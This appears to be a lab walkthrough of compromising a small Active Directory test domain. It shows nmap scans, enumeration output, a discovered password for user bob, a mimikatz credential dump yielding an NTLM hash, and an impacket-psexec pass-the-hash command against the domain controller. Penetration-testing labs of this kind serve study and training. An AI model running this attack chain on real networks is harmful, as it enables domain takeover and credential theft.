Hacker Machine : 192.168.56.64
Host Alive Scan:
$ sudo nmap -sn 192.168.56.0/24 -oA minilab | grep for | cut -d" " -f5
$ fping -asgq 192.168.56.0/24 | tee -a fping.txt
$ cat nmap_up_scan.txt fping.txt | sort -u -t. -k4 -n > all_hosts.txt
64 is my hacker machine.
1 is the vmware network gateway.
3 is the provision machine of the GOAD.
so 30 and 31 is my machines. Lets do port scan…
Port Scan
$ nmap -iL all_hosts.txt -sV -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open -p- -oA full_port_scan
Nmap scan report for 192.168.56.30
Host is up (0.00073s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp opendomain Simple DNS Plus
88/tcp openkerberos-sec Microsoft Windows Kerberos (server time: 2026-08-20 20:39:33Z)
135/tcp openmsrpc Microsoft Windows RPC
139/tcp opennetbios-ssn Microsoft Windows netbios-ssn
389/tcp openldap Microsoft Windows Active Directory LDAP (Domain: mini.lab0., Site: Default-First-Site-Name)
445/tcp openmicrosoft-ds?
464/tcp openkpasswd5?
593/tcp openncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp opentcpwrapped
3268/tcp openldap Microsoft Windows Active Directory LDAP (Domain: mini.lab0., Site: Default-First-Site-Name)
3269/tcp opentcpwrapped
3389/tcp openms-wbt-server Microsoft Terminal Services
5985/tcp openhttp Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp openssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp openmc-nmf .NET Message Framing
49668/tcp open msrpcMicrosoft Windows RPC
49670/tcp open ncacn_httpMicrosoft Windows RPC over HTTP 1.0
49671/tcp open msrpcMicrosoft Windows RPC
49673/tcp open msrpcMicrosoft Windows RPC
49674/tcp open msrpcMicrosoft Windows RPC
49684/tcp open msrpcMicrosoft Windows RPC
49699/tcp open msrpcMicrosoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 192.168.56.31
Host is up (0.0022s latency).
Not shown: 65517 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp openmsrpc Microsoft Windows RPC
139/tcp opennetbios-ssn Microsoft Windows netbios-ssn
445/tcp openmicrosoft-ds?
3389/tcp openms-wbt-server Microsoft Terminal Services
5040/tcp openunknown
5985/tcp openhttp Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp openssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp openpando-pub?
47001/tcp open httpMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpcMicrosoft Windows RPC
49665/tcp open msrpcMicrosoft Windows RPC
49666/tcp open msrpcMicrosoft Windows RPC
49667/tcp open msrpcMicrosoft Windows RPC
49670/tcp open msrpcMicrosoft Windows RPC
49671/tcp open msrpcMicrosoft Windows RPC
49674/tcp open msrpcMicrosoft Windows RPC
49705/tcp open msrpcMicrosoft Windows RPC
49709/tcp open msrpcMicrosoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
As you can guess 30 is the DC machine.
31 is the Windows machine.
in the ldap 3268 in the dc you can see that the domain is : "mini.lab"
Take the note:
domain -> "mini.lab"
Lets start the Responder
$ sudo responder -I
this is the tmux session lets put it alone and try our services.
AD Enumeration With no Creds
Null Session Try and enumerationg users in the domain.
We have got 3 domain users.
Guest
bob
dave
$ enum4linux-ng 192.168.56.30
WIN10 Enumeration
we have got the FQDN of the WIN10
WIN10 FQDN : ws.mini.lab
Let's try it for the DC server too.
$ enum4linux-ng 192.168.56.31
DC01 Enumeration
we have got the FQDN of the WIN10
DC01 FQDN : dc.mini.lab
====================================================
| Domain Information via RPC for 192.168.56.30 |
====================================================
[+] Domain: MINILAB
[+] Domain SID: S-1-5-21-3562608650-3501399573-1629341090
[+] Membership: domain member
and we have got something impoprtant for a user lets check it:
the username bob may be have "superman" password :D
bob:superman
we have got the groups in the dc as well.
=======================================
| Groups via RPC on 192.168.56.30 |
=======================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 22 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 10 group(s) via 'enumdomgroups'
[+] After merging groups results we have 37 group(s) total:
'1102':
groupname: DnsAdmins
type: local
'1103':
groupname: DnsUpdateProxy
type: domain
'1105':
groupname: wsadmin
type: domain
'1106':
groupname: wsrdp
type: domain
'498':
groupname: Enterprise Read-only Domain Controllers
type: domain
'513':
groupname: Domain Users
type: domain
'514':
groupname: Domain Guests
type: domain
'515':
groupname: Domain Computers
type: domain
'517':
groupname: Cert Publishers
type: local
'520':
groupname: Group Policy Creator Owners
type: domain
'522':
groupname: Cloneable Domain Controllers
type: domain
'525':
groupname: Protected Users
type: domain
'545':
groupname: Users
type: builtin
'546':
groupname: Guests
type: builtin
'553':
groupname: RAS and IAS Servers
type: local
'554':
groupname: Pre-Windows 2000 Compatible Access
type: builtin
'555':
groupname: Remote Desktop Users
type: builtin
'556':
groupname: Network Configuration Operators
type: builtin
'557':
groupname: Incoming Forest Trust Builders
type: builtin
'558':
groupname: Performance Monitor Users
type: builtin
'559':
groupname: Performance Log Users
type: builtin
'560':
groupname: Windows Authorization Access Group
type: builtin
'561':
groupname: Terminal Server License Servers
type: builtin
'562':
groupname: Distributed COM Users
type: builtin
'568':
groupname: IIS_IUSRS
type: builtin
'569':
groupname: Cryptographic Operators
type: builtin
'571':
groupname: Allowed RODC Password Replication Group
type: local
'572':
groupname: Denied RODC Password Replication Group
type: local
'573':
groupname: Event Log Readers
type: builtin
'574':
groupname: Certificate Service DCOM Access
type: builtin
'575':
groupname: RDS Remote Access Servers
type: builtin
'576':
groupname: RDS Endpoint Servers
type: builtin
'577':
groupname: RDS Management Servers
type: builtin
'578':
groupname: Hyper-V Administrators
type: builtin
'579':
groupname: Access Control Assistance Operators
type: builtin
'580':
groupname: Remote Management Users
type: builtin
'582':
groupname: Storage Replica Administrators
type: builtin
This is the policies of the Password policy.
| Policies via RPC for 192.168.56.30 |
==========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
Password history length: 24
Minimum password length: 5
Minimum password age: 1 day 4 minutes
Maximum password age: 37201 days (101 years) 2 minutes
Password properties:
- DOMAIN_PASSWORD_COMPLEX: false
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
Lockout observation window: 5 minutes
Lockout duration: 5 minutes
Lockout threshold: 5
Domain logoff information:
Force logoff time: not set
Lets do something about the password spraying but lets just wait and try the bob user in the machines with the netexec.
Check it out ????
We have "Pwn3d!" so that means we have administrator rights in the WIN10 machine. Lets use it :)
in the domain we can enumerate the users and we will see other users except dave and bob.
carol and alice.
When we rdp to the ws01 and mimikatz dumping sekurlsa::logonpasswords
carol:c22b315c040ae6e0efee3518d830362b
we have the carol username and ntlm hash.
we have hacked the domain because our carol user is f1ck1ng domain admin and use her ntlm hash and got the DC.mini.lab
$ impacket-psexec mini.lab/carol@192.168.56.30 -hashes :c22b315c040ae6e0efee3518d830362b
0f w3 f8ck3d up.
I think antivirus defender does not help me to get in.
lets try winrm
we got it.